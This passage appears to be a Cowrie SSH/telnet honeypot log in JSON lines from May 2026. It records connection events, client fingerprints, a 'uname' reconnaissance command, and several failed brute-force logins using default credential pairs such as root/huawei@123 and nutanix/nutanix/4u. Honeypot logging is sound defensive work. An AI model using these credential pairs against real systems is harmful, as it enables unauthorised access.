{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:47.000335Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:47.087546Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:47.092463Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":34696,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ef9708dcb1","protocol":"telnet","message":"New connection: 199.103.57.63:34696 (159.203.135.109:23) [session: d1ef9708dcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:51.875835Z"}
{"eventid":"cowrie.session.closed","duration":31.1468403339386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:52.295581Z","src_ip":"74.91.213.120","session":"7ca375158073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134114027023315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:54.262438Z","src_ip":"74.91.213.120","session":"6e9c05c7ab4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50556,"dst_ip":"159.203.135.109","dst_port":22,"session":"e398dada2256","protocol":"ssh","message":"New connection: 45.153.34.114:50556 (159.203.135.109:22) [session: e398dada2256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:54.554776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:54.560400Z","src_ip":"45.153.34.114","session":"e398dada2256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:54.759365Z","src_ip":"45.153.34.114","session":"e398dada2256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:55.145314Z","src_ip":"45.153.34.114","session":"e398dada2256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:56.233873Z","src_ip":"45.153.34.114","session":"e398dada2256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60584,"dst_ip":"159.203.135.109","dst_port":22,"session":"84682f101484","protocol":"ssh","message":"New connection: 45.153.34.114:60584 (159.203.135.109:22) [session: 84682f101484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:02.366376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:02.417523Z","src_ip":"45.153.34.114","session":"84682f101484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:02.452531Z","src_ip":"45.153.34.114","session":"84682f101484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:02.806263Z","src_ip":"45.153.34.114","session":"84682f101484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:03.901962Z","src_ip":"45.153.34.114","session":"84682f101484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.681782245635986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:06.324338Z","src_ip":"74.91.213.120","session":"5ff8cf6f4e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37302,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d019d8f0ff2","protocol":"ssh","message":"New connection: 45.153.34.114:37302 (159.203.135.109:22) [session: 9d019d8f0ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:10.569125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:10.574503Z","src_ip":"45.153.34.114","session":"9d019d8f0ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:10.667791Z","src_ip":"45.153.34.114","session":"9d019d8f0ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:10.984818Z","src_ip":"45.153.34.114","session":"9d019d8f0ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.194279193878174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:11.083661Z","src_ip":"74.91.213.120","session":"6c6f16b29b11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:12.074267Z","src_ip":"45.153.34.114","session":"9d019d8f0ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":40395,"dst_ip":"10.17.0.5","dst_port":22,"session":"9711c65d8c6b","protocol":"ssh","message":"New connection: 175.107.32.186:40395 (10.17.0.5:22) [session: 9711c65d8c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:17.409200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:17.414246Z","src_ip":"175.107.32.186","session":"9711c65d8c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:17.640879Z","src_ip":"175.107.32.186","session":"9711c65d8c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33102,"dst_ip":"159.203.135.109","dst_port":23,"session":"8132becd13ce","protocol":"telnet","message":"New connection: 74.91.213.120:33102 (159.203.135.109:23) [session: 8132becd13ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:18.161584Z"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:18.516774Z","src_ip":"175.107.32.186","session":"9711c65d8c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37308,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef18fcf97c0","protocol":"ssh","message":"New connection: 45.153.34.114:37308 (159.203.135.109:22) [session: cef18fcf97c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:18.837066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:18.843724Z","src_ip":"45.153.34.114","session":"cef18fcf97c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:18.968284Z","src_ip":"45.153.34.114","session":"cef18fcf97c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:19.289288Z","src_ip":"45.153.34.114","session":"cef18fcf97c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:19.770026Z","src_ip":"175.107.32.186","session":"9711c65d8c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:20.382685Z","src_ip":"45.153.34.114","session":"cef18fcf97c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":43662,"dst_ip":"10.17.0.5","dst_port":22,"session":"6856ddf4566b","protocol":"ssh","message":"New connection: 220.205.122.34:43662 (10.17.0.5:22) [session: 6856ddf4566b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.159280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.164017Z","src_ip":"220.205.122.34","session":"6856ddf4566b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":42628,"dst_ip":"159.203.135.109","dst_port":22,"session":"48774b06c92f","protocol":"ssh","message":"New connection: 45.61.187.220:42628 (159.203.135.109:22) [session: 48774b06c92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.235762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.241591Z","src_ip":"45.61.187.220","session":"48774b06c92f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.283839Z","src_ip":"45.61.187.220","session":"48774b06c92f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.397977Z","src_ip":"220.205.122.34","session":"6856ddf4566b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"q","password":"q","message":"login attempt [q/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.466057Z","src_ip":"45.61.187.220","session":"48774b06c92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.8163104057312,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.692047Z","src_ip":"199.103.57.63","session":"d1ef9708dcb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:26.785652Z","src_ip":"220.205.122.34","session":"6856ddf4566b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59666,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c54b6a0084d","protocol":"ssh","message":"New connection: 45.153.34.114:59666 (159.203.135.109:22) [session: 7c54b6a0084d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:27.200546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:46:27.205604Z","src_ip":"45.153.34.114","session":"7c54b6a0084d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"